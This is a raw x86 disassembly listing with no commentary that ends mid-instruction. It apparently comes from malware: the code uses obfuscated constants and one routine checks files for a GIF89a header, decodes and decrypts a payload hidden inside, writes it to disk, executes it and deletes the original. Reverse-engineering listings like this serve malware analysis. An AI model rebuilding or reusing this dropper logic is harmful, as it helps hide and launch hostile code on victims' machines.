sub_443B7F+28j mov ebx, dword_54F0E8 add ebx, dword_54F1DC dec ebx mov ds:dword_54DB20[esi*4], ebx inc esi loc_443BA4: ; CODE XREF: sub_443B7F+Ej cmp esi, 5Ah jbe short loc_443B8F loc_443BA9: ; CODE XREF: sub_443B7F+1F0j mov edi, 43h jmp loc_443D56 ; --------------------------------------------------------------------------- loc_443BB3: ; CODE XREF: sub_443B7F+1DAj push offset byte_54F5A3 call sub_43AAF7 push edi push eax lea ebx, [ebp+var_E] push ebx call ds:dword_50C928 mov eax, dword_54F100 add eax, dword_54F1BC sub eax, 0Fh push eax call ds:dword_50C924 add esp, 14h mov ebx, dword_54F22C sub ebx, 7 cmp ds:dword_54DB20[edi*4], ebx jz short loc_443C38 movsx eax, word_54F118 sub eax, 8 mov [ebp+var_14], eax lea eax, [ebp+var_14] push eax push ds:dword_54DB20[edi*4] call ds:dword_54C94C cmp [ebp+var_14], 103h jz short loc_443C38 push ds:dword_54DB20[edi*4] call ds:dword_4CB948 movsx ebx, word_54F128 sub ebx, 5 mov ds:dword_54DB20[edi*4], ebx loc_443C38: ; CODE XREF: sub_443B7F+72j ; sub_443B7F+99j lea eax, [ebp+var_E] push eax call ds:dword_54C964 mov [ebp+var_4], eax cmp eax, 3 jz short loc_443C8C cmp eax, 4 jz short loc_443C8C cmp eax, 2 jz short loc_443C8C mov ebx, dword_54F24C add ebx, dword_54F0E0 sub ebx, 0Fh cmp ds:dword_54DB20[edi*4], ebx jz loc_443D55 movsx ebx, word_54F0C4 add ebx, dword_54F1B0 sub ebx, 0Dh mov ds:dword_4495E0[edi*4], ebx jmp loc_443D55 ; --------------------------------------------------------------------------- loc_443C8C: ; CODE XREF: sub_443B7F+C9j ; sub_443B7F+CEj ... push 1 call ds:dword_447FC0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_E] push eax call ds:dword_449088 mov ebx, dword_54F1EC sub ebx, 3 cmp eax, ebx jnz short loc_443CE9 mov ebx, dword_54F134 sub ebx, 2 cmp ds:dword_54DB20[edi*4], ebx jz loc_443D55 mov ebx, dword_54F15C add ebx, dword_54F120 sub ebx, 0Ch mov ds:dword_4495E0[edi*4], ebx jmp short loc_443D55 ; --------------------------------------------------------------------------- loc_443CE9: ; CODE XREF: sub_443B7F+13Aj mov ebx, dword_54F0BC movsx edx, word_54F0F8 add ebx, edx sub ebx, 5 cmp ds:dword_54DB20[edi*4], ebx jnz short loc_443D55 mov ds:dword_4495E0[edi*4], edi lea eax, [ebp+var_28] push eax mov eax, dword_54F0BC movsx edx, word_54F190 add eax, edx sub eax, 8 push eax lea ebx, ds:4495E0h[edi*4] push ebx push offset sub_43BE1F mov ebx, dword_54F100 add ebx, dword_54F0E8 sub ebx, 0Ah push ebx mov ebx, dword_54F10C sub ebx, 2 push ebx call ds:dword_54DF20 mov ds:dword_54DB20[edi*4], eax loc_443D55: ; CODE XREF: sub_443B7F+EBj ; sub_443B7F+108j ... inc edi loc_443D56: ; CODE XREF: sub_443B7F+2Fj cmp edi, 5Ah jbe loc_443BB3 mov eax, dword_54F1B0 sub eax, 7 push eax call ds:dword_50C924 pop ecx jmp loc_443BA9 sub_443B7F endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443D7B proc near ; CODE XREF: sub_443885+50p ; sub_443885+65p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_54F278 call ds:dword_4491AC mov edi, eax pop edi pop ebp retn sub_443D7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443D93 proc near ; DATA XREF: .data:off_54F2ECo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] push offset dword_550A98 push esi call ds:dword_50C93C or eax, eax jz short loc_443DBF mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_443E14 ; --------------------------------------------------------------------------- loc_443DBF: ; CODE XREF: sub_443D93+1Aj push offset dword_550A18 push esi call ds:dword_50C93C or eax, eax jz short loc_443DDF mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_443E14 ; --------------------------------------------------------------------------- loc_443DDF: ; CODE XREF: sub_443D93+3Aj push offset dword_5509D8 push esi call ds:dword_50C93C or eax, eax jz short loc_443DFF mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_443E14 ; --------------------------------------------------------------------------- loc_443DFF: ; CODE XREF: sub_443D93+5Aj mov eax, dword_54F20C add eax, dword_54F098 sub eax, 0Dh mov [edi], eax mov eax, 80004002h loc_443E14: ; CODE XREF: sub_443D93+2Aj ; sub_443D93+4Aj ... pop edi pop esi pop ebx pop ebp retn 0Ch sub_443D93 endp ; =============== S U B R O U T I N E ======================================= sub_443E1B proc near ; CODE XREF: sub_444ED7+20p push edi push offset byte_54F595 call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F270, eax movsx eax, word_54F0A8 cmp dword_54F270, eax jnz short loc_443E59 push offset byte_54F587 call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F270, eax loc_443E59: ; CODE XREF: sub_443E1B+25j mov eax, dword_54F100 add eax, dword_54F1A0 sub eax, 11h cmp dword_54F270, eax jz short loc_443E8B movsx eax, word_54F164 add eax, 4 push eax push dword_54F270 call ds:dword_4491AC mov ds:dword_446024, eax loc_443E8B: ; CODE XREF: sub_443E1B+52j pop edi retn sub_443E1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443E8D proc near ; CODE XREF: sub_43D090+1AAp ; sub_441843+279p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov esi, [ebp+arg_4] inc esi mov edi, dword_54F23C add edi, 1Fh mov eax, esi test eax, eax jge short loc_443EAE add eax, 0FFh loc_443EAE: ; CODE XREF: sub_443E8D+1Aj sar eax, 8 mov ebx, dword_54F0C0 add ebx, 7 mov edx, eax imul edx, ebx add edi, edx mov [ebp+var_8], edi mov edi, dword_54F134 add edi, 13h mov eax, esi test eax, eax jge short loc_443ED8 add eax, 0FFh loc_443ED8: ; CODE XREF: sub_443E8D+44j sar eax, 8 movsx ebx, word_54F0F4 add ebx, 0Fh mov edx, eax imul edx, ebx add edi, edx mov [ebp+var_C], edi mov edi, dword_54F1F4 add edi, 18h mov eax, esi test eax, eax jge short loc_443F03 add eax, 0FFFFh loc_443F03: ; CODE XREF: sub_443E8D+6Fj sar eax, 10h movsx ebx, word_54F144 mov ecx, dword_54F180 lea ebx, [ebx+ecx+13h] mov edx, eax imul edx, ebx add edi, edx mov [ebp+var_10], edi mov eax, esi and eax, 0FFh push eax call sub_443A22 mov ebx, eax mov [ebp+var_11], bl mov eax, esi mul [ebp+var_10] mov [ebp+var_1C], eax and eax, 0FFh push eax call sub_443A22 mov ebx, eax mov [ebp+var_12], bl mov eax, esi mul [ebp+var_8] mov [ebp+var_20], eax and eax, 0FFh push eax call sub_443A22 mov ebx, eax mov [ebp+var_1], bl mov eax, dword_54F0C8 add eax, 70h mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_43B23C mov ebx, eax mov [ebp+var_13], bl movsx eax, word_54F210 mov edx, dword_54F124 lea eax, [eax+edx+5] mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_43B23C mov ebx, eax mov [ebp+var_14], bl mov eax, dword_54F168 add eax, 2Dh mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_43B23C mov ebx, eax mov [ebp+var_15], bl mov eax, esi mul [ebp+var_C] mov [ebp+var_24], eax and eax, 0FFh push eax call sub_443A22 mov ebx, eax mov [ebp+var_16], bl mov eax, dword_54F0C8 add eax, 42h mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_443A22 mov ebx, eax mov [ebp+var_17], bl mov eax, dword_54F204 add eax, 45h movsx edx, word_54F094 add eax, edx mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_43B23C add esp, 24h mov ebx, eax mov [ebp+var_18], bl movzx edi, [ebp+var_1] mov eax, edi shr eax, 1 movsx esi, word_54F0D0 add esi, dword_54F174 sub esi, 0Bh mul esi mov [ebp+var_28], eax mov esi, eax cmp esi, edi jnz short loc_444094 push offset byte_54F56D call sub_43AAF7 movzx edi, [ebp+var_17] push edi movzx edi, [ebp+var_18] push edi movzx edi, [ebp+var_12] push edi movzx edi, [ebp+var_15] push edi movzx edi, [ebp+var_11] push edi movzx edi, [ebp+var_13] push edi movzx edi, [ebp+var_16] push edi movzx edi, [ebp+var_14] push edi movzx edi, [ebp+var_1] push edi push eax push [ebp+arg_0] call ds:dword_50C928 add esp, 30h jmp short loc_4440D8 ; --------------------------------------------------------------------------- loc_444094: ; CODE XREF: sub_443E8D+1BFj push offset word_54F552 call sub_43AAF7 movzx edi, [ebp+var_17] push edi movzx edi, [ebp+var_18] push edi movzx edi, [ebp+var_12] push edi movzx edi, [ebp+var_15] push edi movzx edi, [ebp+var_11] push edi movzx edi, [ebp+var_13] push edi movzx edi, [ebp+var_16] push edi movzx edi, [ebp+var_14] push edi movzx edi, [ebp+var_1] push edi push eax push [ebp+arg_0] call ds:dword_50C928 add esp, 30h loc_4440D8: ; CODE XREF: sub_443E8D+205j pop edi pop esi pop ebx leave retn sub_443E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4440DD proc near ; CODE XREF: sub_440408+64p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push ebx push esi push edi push [ebp+arg_0] call ds:dword_48A218 mov ebx, eax mov eax, dword_54F0EC dec eax cmp ebx, eax jz loc_44424B push offset byte_54F54D call sub_43AAF7 push eax push ebx call ds:dword_4491AC mov ds:dword_446008, eax push offset dword_54F548 call sub_43AAF7 add esp, 8 push eax push ebx call ds:dword_4491AC mov ds:dword_447004, eax mov eax, dword_54F090 sub eax, 4 cmp ds:dword_447004, eax jz loc_44424B mov eax, dword_54F0A4 sub eax, 7 cmp ds:dword_446008, eax jz loc_44424B lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call ds:dword_447004 mov edi, eax mov eax, dword_54F200 add eax, dword_54F1F8 sub eax, 2 cmp eax, edi jnb short loc_444185 push ebx call ds:dword_54DB1C jmp loc_44424B ; --------------------------------------------------------------------------- loc_444185: ; CODE XREF: sub_4440DD+9Aj mov esi, dword_54F114 add esi, 0FFFFFFFEh mov eax, dword_54F1A0 mov edi, eax add edi, dword_54F184 sub edi, 0Ch jmp short loc_4441CD ; --------------------------------------------------------------------------- loc_4441A0: ; CODE XREF: sub_4440DD+F6j mov edx, [ebp+var_8] cmp ds:dword_48A220[edi*4], edx jnz short loc_4441CC mov esi, edi mov edx, [ebp+var_4] cmp ds:dword_4CC920[edi*4], edx jb short loc_4441CC push ebx call ds:dword_54DB1C push [ebp+arg_0] call ds:dword_44600C jmp short loc_44424B ; --------------------------------------------------------------------------- loc_4441CC: ; CODE XREF: sub_4440DD+CDj ; sub_4440DD+DBj inc edi loc_4441CD: ; CODE XREF: sub_4440DD+C1j cmp edi, dword_54F2A4 jb short loc_4441A0 mov eax, dword_54F214 add eax, 0FFFFFFFCh movsx edx, word_54F0A8 add eax, edx cmp esi, eax jz short loc_444217 push ds:dword_50C950[esi*4] call ds:dword_54DB1C mov edi, [ebp+var_4] mov ds:dword_4CC920[esi*4], edi mov edi, ds:dword_446008 mov ds:dword_4499E0[esi*4], edi mov ds:dword_50C950[esi*4], ebx jmp short loc_44424B ; --------------------------------------------------------------------------- loc_444217: ; CODE XREF: sub_4440DD+10Bj mov edi, dword_54F2A4 mov edx, [ebp+var_8] mov ds:dword_48A220[edi*4], edx mov ds:dword_50C950[edi*4], ebx mov ebx, ds:dword_446008 mov ds:dword_4499E0[edi*4], ebx mov ebx, [ebp+var_4] mov ds:dword_4CC920[edi*4], ebx inc dword_54F2A4 loc_44424B: ; CODE XREF: sub_4440DD+1Bj ; sub_4440DD+60j ... pop edi pop esi pop ebx leave retn sub_4440DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444250 proc near ; CODE XREF: sub_43DB03+232p ; sub_43DB03+244p var_61EA3 = byte ptr -61EA3h var_61DA8 = dword ptr -61DA8h var_61DA4 = dword ptr -61DA4h var_61D9E = byte ptr -61D9Eh var_61D9D = byte ptr -61D9Dh var_61C9E = byte ptr -61C9Eh var_61C9D = byte ptr -61C9Dh var_61C9C = dword ptr -61C9Ch var_61C98 = byte ptr -61C98h var_30F58 = dword ptr -30F58h var_30F54 = byte ptr -30F54h var_30E50 = dword ptr -30E50h var_30E4C = dword ptr -30E4Ch var_30E48 = dword ptr -30E48h var_30E44 = dword ptr -30E44h var_30E3F = byte ptr -30E3Fh var_30E3E = byte ptr -30E3Eh var_30E3D = byte ptr -30E3Dh var_30E3C = byte ptr -30E3Ch var_30E3B = byte ptr -30E3Bh var_30E3A = byte ptr -30E3Ah var_30E15 = byte ptr -30E15h var_30E14 = byte ptr -30E14h var_30DC5 = byte ptr -30DC5h var_30DBE = byte ptr -30DBEh var_30DBD = byte ptr -30DBDh var_30DBC = byte ptr -30DBCh var_30D4E = byte ptr -30D4Eh var_30D4A = byte ptr -30D4Ah var_30D40 = byte ptr -30D40h var_30D3F = byte ptr -30D3Fh var_30D3D = byte ptr -30D3Dh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 61EA4h call sub_4455B4 push ebx push esi push edi mov ebx, [ebp+arg_4] mov eax, dword_54F180 movsx edx, word_54F118 add eax, edx sub eax, 8 push eax mov eax, dword_54F114 dec eax push eax push 3 mov eax, dword_54F0C8 dec eax push eax mov eax, dword_54F0E0 sub eax, 6 push eax push 80000000h push [ebp+arg_0] call ds:dword_54DB18 mov [ebp+var_30E48], eax and [ebp+var_30F58], 0 and [ebp+var_30E50], 0 cmp eax, 0FFFFFFFFh jz loc_4447ED mov eax, dword_54F0D4 add eax, dword_54F1EC sub eax, 8 push eax lea eax, [ebp+var_30E4C] push eax mov eax, dword_54F174 add eax, 7Ch add eax, dword_54F0EC push eax lea eax, [ebp+var_30E3F] push eax push [ebp+var_30E48] call ds:dword_446034 mov [ebp+var_30E44], eax mov eax, dword_54F0B0 movsx edx, word_54F104 add eax, edx sub eax, 5 cmp [ebp+var_30E44], eax jz loc_4447CF cmp [ebp+var_30E3C], 38h jnz short loc_44432F cmp [ebp+var_30E3B], 39h jnz short loc_44432F cmp [ebp+var_30E3A], 61h jz short loc_444334 loc_44432F: ; CODE XREF: sub_444250+CBj ; sub_444250+D4j jmp loc_4447CF ; --------------------------------------------------------------------------- loc_444334: ; CODE XREF: sub_444250+DDj cmp [ebp+var_30E3F], 47h jnz short loc_44434F cmp [ebp+var_30E3E], 49h jnz short loc_44434F cmp [ebp+var_30E3D], 46h jz short loc_444354 loc_44434F: ; CODE XREF: sub_444250+EBj ; sub_444250+F4j jmp loc_4447CF ; --------------------------------------------------------------------------- loc_444354: ; CODE XREF: sub_444250+FDj movzx eax, [ebp+var_30E15] mov edx, dword_54F1E4 add edx, 37h cmp eax, edx jnz short loc_44437A cmp [ebp+var_30DBE], 3Dh jnz short loc_44437A cmp [ebp+var_30DBD], 3Dh jz short loc_44437F loc_44437A: ; CODE XREF: sub_444250+116j ; sub_444250+11Fj jmp loc_4447CF ; --------------------------------------------------------------------------- loc_44437F: ; CODE XREF: sub_444250+128j or ebx, ebx jnz short loc_4443C9 call sub_43BB30 mov edx, eax mov [ebp+var_61C9E], dl mov al, [ebp+var_30DBC] mov [ebp+var_61C9D], al mov eax, dword_54F0BC cmp [ebp+eax+var_30DBC], 40h jnz short loc_4443B7 mov [ebp+var_30E50], 1 jmp short loc_4443C9 ; --------------------------------------------------------------------------- loc_4443B7: ; CODE XREF: sub_444250+159j mov al, [ebp+var_61C9E] cmp al, [ebp+var_61C9D] jz loc_4447CF loc_4443C9: ; CODE XREF: sub_444250+131j ; sub_444250+165j mov eax, dword_54F0D8 sub eax, 6 push eax lea eax, [ebp+var_30E4C] push eax push 30D40h lea eax, [ebp+var_61C98] push eax push [ebp+var_30E48] call ds:dword_446034 mov [ebp+var_30E44], eax mov eax, dword_54F0B0 sub eax, 5 cmp [ebp+var_30E44], eax jz loc_4447CF mov eax, [ebp+var_30E4C] mov edx, dword_54F100 sub edx, 9 mov [ebp+eax+var_61C98], dl push 30D40h lea eax, [ebp+var_30D40] push eax lea eax, [ebp+var_61C98] push eax call sub_444AA8 add esp, 0Ch mov esi, eax movsx edi, word_54F0CC dec edi jmp short loc_44448D ; --------------------------------------------------------------------------- loc_444448: ; CODE XREF: sub_444250+23Fj or ebx, ebx jz short loc_44445F movzx eax, [ebp+edi+var_30D40] sub eax, edi mov [ebp+edi+var_30D40], al jmp short loc_44448C ; --------------------------------------------------------------------------- loc_44445F: ; CODE XREF: sub_444250+1FAj movzx eax, [ebp+edi+var_30D40] mov [ebp+var_61DA4], eax mov eax, edi mul edi mov [ebp+var_61DA8], eax mov eax, [ebp+var_61DA4] mov edx, [ebp+var_61DA8] sub eax, edx mov [ebp+edi+var_30D40], al loc_44448C: ; CODE XREF: sub_444250+20Dj inc edi loc_44448D: ; CODE XREF: sub_444250+1F6j cmp edi, esi jb short loc_444448 or ebx, ebx jz short loc_4444B8 movsx eax, word_54F0D0 sub eax, 5 mov edx, esi sub edx, eax mov eax, dword_54F124 add eax, dword_54F188 sub eax, 7 mov [ebp+edx+var_30D40], al loc_4444B8: ; CODE XREF: sub_444250+243j mov eax, dword_54F110 mov edx, dword_54F168 add edx, dword_54F178 sub edx, 0Bh mov [ebp+eax+var_30DC5], dl push 0FFh lea eax, [ebp+var_61D9D] push eax lea eax, [ebp+var_30E14] push eax call sub_444AA8 lea eax, [ebp+var_61D9D] push eax push esi lea eax, [ebp+var_30D40] push eax call sub_43B3AD add esp, 18h mov [ebp+var_30E44], eax mov eax, dword_54F1C8 movsx edx, word_54F198 add eax, edx sub eax, 9 cmp [ebp+var_30E44], eax jnz loc_4447CF mov [ebp+var_30F58], 1 or ebx, ebx jz loc_444677 mov eax, dword_54F1D0 add eax, dword_54F1F8 cmp [ebp+eax+var_30D4A], 64h jnz loc_4445E5 movzx eax, [ebp+var_30D3F] movsx edx, word_54F164 add edx, 1Fh sub eax, edx mov [ebp+var_61D9E], al movzx eax, [ebp+var_61D9E] push eax mov eax, dword_54F0B0 add eax, dword_54F204 sub eax, 7 push eax call sub_43D090 mov eax, dword_54F234 movsx edx, word_54F1A4 add eax, edx sub eax, 0Eh mov ds:dword_4495D0, eax mov eax, dword_54F1FC mov dword_54F2A0, eax mov eax, dword_54F1D0 add eax, dword_54F110 movsx edx, word_54F210 add edx, dword_54F17C sub edx, 0Ch mov [ebp+eax+var_30D4E], dl mov eax, dword_54F1AC add eax, dword_54F150 sub eax, 5 push eax lea eax, [ebp+var_30D40] push eax call sub_444D68 add esp, 10h loc_4445E5: ; CODE XREF: sub_444250+2FAj mov eax, dword_54F0BC cmp [ebp+eax+var_30D40], 67h jnz loc_4447CF mov eax, dword_54F0A4 mov edx, dword_54F1EC movsx ecx, word_54F0A8 add edx, ecx sub edx, 3 mov [ebp+eax+var_30D3D], dl lea eax, [ebp+var_30D3F] push eax call ds:dword_44701C mov [ebp+var_61DA4], eax push eax push offset dword_54C970 call sub_443E8D mov eax, dword_54F1D4 add eax, dword_54F1EC sub eax, 0Bh mov ds:dword_4495D0, eax mov eax, dword_54F0A0 add eax, dword_54F1C8 sub eax, 0Bh mov dword_54F2A0, eax mov eax, dword_54F120 sub eax, 7 push eax lea eax, [ebp+var_30D40] push eax call sub_444D68 add esp, 14h jmp loc_4447CF ; --------------------------------------------------------------------------- loc_444677: ; CODE XREF: sub_444250+2E1j cmp [ebp+var_30E50], 0 jz short loc_4446F7 call ds:dword_54CA70 mov [ebp+var_61DA4], eax push offset asc_54F539 ; "\v" call sub_43AAF7 push [ebp+var_61DA4] mov edx, dword_54F0A4 dec edx push edx push eax lea edx, [ebp+var_61EA3] push edx call ds:dword_50C928 lea eax, [ebp+var_30F54] push eax movsx eax, word_54F094 sub eax, 2 push eax mov eax, dword_54F214 sub eax, 3 push eax push 1Ch movsx eax, word_54F194 dec eax push eax call ds:dword_489A00 lea eax, [ebp+var_61EA3] push eax lea eax, [ebp+var_30F54] push eax call ds:dword_44602C add esp, 1Ch jmp short loc_444725 ; --------------------------------------------------------------------------- loc_4446F7: ; CODE XREF: sub_444250+42Ej mov eax, dword_54F120 dec eax push eax lea eax, [ebp+var_30F54] push eax call sub_43CDF9 push offset byte_54F531 call sub_43AAF7 push eax lea edx, [ebp+var_30F54] push edx call ds:dword_44602C add esp, 14h loc_444725: ; CODE XREF: sub_444250+4A5j mov eax, dword_54F120 sub eax, 8 push eax push 80h push 2 movsx eax, word_54F09C add eax, dword_54F1AC sub eax, 8 push eax movsx eax, word_54F1CC sub eax, 9 push eax push 40000000h lea eax, [ebp+var_30F54] push eax call ds:dword_54DB18 mov [ebp+var_61C9C], eax mov eax, dword_54F22C movsx edx, word_54F240 add eax, edx sub eax, 0Fh push eax lea eax, [ebp+var_30E4C] push eax push esi lea eax, [ebp+var_30D40] push eax push [ebp+var_61C9C] call ds:dword_54DF1C push [ebp+var_61C9C] call ds:dword_4CB948 cmp [ebp+var_30E50], 0 jnz short loc_4447CA push 5 lea eax, [ebp+var_30F54] push eax call ds:dword_449094 movzx eax, [ebp+var_61C9D] push eax call sub_43BD8A pop ecx jmp short loc_4447CF ; --------------------------------------------------------------------------- loc_4447CA: ; CODE XREF: sub_444250+559j call sub_43C501 loc_4447CF: ; CODE XREF: sub_444250+BEj ; sub_444250:loc_44432Fj ... push [ebp+var_30E48] call ds:dword_4CB948 cmp [ebp+var_30F58], 0 jz short loc_4447ED push [ebp+arg_0] call ds:dword_44600C loc_4447ED: ; CODE XREF: sub_444250+63j ; sub_444250+592j pop edi pop esi pop ebx leave retn sub_444250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4447F2 proc near ; DATA XREF: sub_441843+190o push ebp mov ebp, esp loc_4447F5: ; CODE XREF: sub_4447F2+41j movsx eax, word_54F208 movsx edx, word_54F1CC add eax, edx sub eax, 0Ah push eax call ds:dword_50C924 pop ecx mov eax, dword_54F14C add eax, dword_54F100 sub eax, 0Bh push eax push offset sub_43BA83 mov eax, dword_54F0A4 sub eax, 7 push eax call ds:dword_447010 jmp short loc_4447F5 sub_4447F2 endp ; --------------------------------------------------------------------------- pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444839 proc near ; CODE XREF: sub_444ED7+33Fp var_10034 = byte ptr -10034h var_10030 = dword ptr -10030h var_1002B = byte ptr -1002Bh var_2C = byte ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 10030h call sub_4455B4 push ebx push esi push edi movsx eax, word_54F1C4 sub eax, 8 cmp ds:dword_447FC4, eax jz loc_444AA3 mov eax, dword_54F140 add eax, dword_54F100 sub eax, 0Ah push eax push dword_54F180 mov eax, dword_54F174 sub eax, 7 push eax lea eax, [ebp+var_4] push eax call ds:dword_447FC4 mov ebx, eax mov eax, dword_54F20C movsx edx, word_54F094 add eax, edx sub eax, 6 cmp ebx, eax jnz loc_444AA3 lea eax, [ebp+var_18] push eax movsx eax, word_54F198 add eax, dword_54F1EC sub eax, 4 push eax mov eax, dword_54F100 sub eax, 9 push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+38h] mov ebx, eax movsx eax, word_54F144 movsx edx, word_54F0B4 add eax, edx sub eax, 9 cmp ebx, eax jnz loc_444A8F loc_4448E6: ; CODE XREF: sub_444839+128j ; sub_444839+15Ej movsx eax, word_54F0C4 sub eax, 6 push eax lea eax, [ebp+var_14] push eax movsx eax, word_54F0F8 sub eax, 4 push eax mov eax, [ebp+var_18] push eax mov edi, [eax] call dword ptr [edi+0Ch] mov ebx, eax mov eax, dword_54F0C0 movsx edx, word_54F1F0 add eax, edx sub eax, 8 cmp ebx, eax jnz loc_444A57 lea eax, [ebp+var_1C] push eax movsx eax, word_54F1A4 sub eax, 6 push eax lea eax, [ebp+var_14] push eax mov eax, dword_54F1C8 add eax, dword_54F204 sub eax, 0Ah push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+3Ch] mov ebx, eax mov eax, dword_54F1F8 add eax, dword_54F0DC sub eax, 7 cmp ebx, eax jnz short loc_4448E6 loc_444963: ; CODE XREF: sub_444839+219j mov eax, dword_54F110 sub eax, 9 push eax lea eax, [ebp+var_2C] push eax mov eax, dword_54F120 movsx edx, word_54F0A8 add eax, edx sub eax, 7 push eax mov eax, [ebp+var_1C] push eax mov edi, [eax] call dword ptr [edi+0Ch] mov ebx, eax mov eax, dword_54F228 sub eax, 8 cmp ebx, eax jnz loc_4448E6 mov eax, dword_54F1DC movsx edx, word_54F198 add eax, edx dec eax push eax lea eax, [ebp+var_10030] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_14] push eax mov eax, dword_54F1F4 sub eax, 9 push eax mov eax, [ebp+var_4] push eax mov edi, [eax] call dword ptr [edi+28h] mov ebx, eax movsx eax, word_54F208 add eax, dword_54F234 mov edx, dword_54F0E8 movsx ecx, word_54F128 add edx, ecx sub edx, 6 mov [ebp+eax+var_10034], dl movsx eax, word_54F1A4 add eax, dword_54F150 sub eax, 0Ah cmp ebx, eax jnz short loc_444A22 lea eax, [ebp+var_1002B] push eax mov eax, [ebp+var_10030] push dword ptr [eax+4] call sub_43BBFE add esp, 8 loc_444A22: ; CODE XREF: sub_444839+1CFj lea eax, [ebp+var_1002B] push eax lea esi, [ebp+var_2C] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_14] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd push [ebp+var_4] call sub_43E364 add esp, 28h jmp loc_444963 ; --------------------------------------------------------------------------- loc_444A57: ; CODE XREF: sub_444839+E5j mov eax, dword_54F114 add eax, dword_54F0AC sub eax, 8 cmp [ebp+var_1C], eax jz short loc_444A73 mov eax, [ebp+var_1C] push eax mov esi, [eax] call dword ptr [esi+8] loc_444A73: ; CODE XREF: sub_444839+22Fj mov eax, dword_54F098 add eax, dword_54F1D8 sub eax, 0Dh cmp [ebp+var_18], eax jz short loc_444A8F mov eax, [ebp+var_18] push eax mov esi, [eax] call dword ptr [esi+8] loc_444A8F: ; CODE XREF: sub_444839+A7j ; sub_444839+24Bj mov eax, dword_54F0EC dec eax cmp [ebp+var_4], eax jz short loc_444AA3 mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_444AA3: ; CODE XREF: sub_444839+20j ; sub_444839+63j ... pop edi pop esi pop ebx leave retn sub_444839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444AA8 proc near ; CODE XREF: sub_43B535+103p ; sub_444250+1E4p ... var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_40D = byte ptr -40Dh var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = dword ptr -400h var_358 = dword ptr -358h var_34C = dword ptr -34Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 41Ch push ebx push esi push edi movsx esi, word_54F0A8 jmp short loc_444ADA ; --------------------------------------------------------------------------- loc_444ABD: ; CODE XREF: sub_444AA8+3Ej movsx edx, word_54F164 movsx ecx, word_54F190 add edx, ecx sub edx, 8 neg edx mov [ebp+esi*4+var_400], edx inc esi loc_444ADA: ; CODE XREF: sub_444AA8+13j mov eax, dword_54F124 add eax, 0FEh cmp esi, eax jb short loc_444ABD mov eax, dword_54F19C movsx edx, word_54F244 add eax, edx sub eax, 0Bh mov [ebp+var_404], eax mov edi, dword_54F12C add edi, 27h movsx eax, word_54F0CC add edi, eax jmp short loc_444B2E ; --------------------------------------------------------------------------- loc_444B13: ; CODE XREF: sub_444AA8+90j mov edx, dword_54F234 add edx, dword_54F1F4 sub edx, 0Dh mov ecx, edi add ecx, edx mov [ebp+edi*4+var_400], ecx inc edi loc_444B2E: ; CODE XREF: sub_444AA8+69j mov eax, dword_54F238 add eax, 3Ah cmp edi, eax jb short loc_444B13 mov ebx, [ebp+arg_4] movsx esi, word_54F244 sub esi, 7 movsx edi, word_54F0C4 sub edi, 6 jmp short loc_444B8A ; --------------------------------------------------------------------------- loc_444B53: ; CODE XREF: sub_444AA8+F6j movsx edx, word_54F104 add edx, 41h mov ecx, edi add ecx, edx mov [ebp+ecx*4+var_400], edi mov edx, dword_54F100 add edx, 58h mov ecx, edi add ecx, 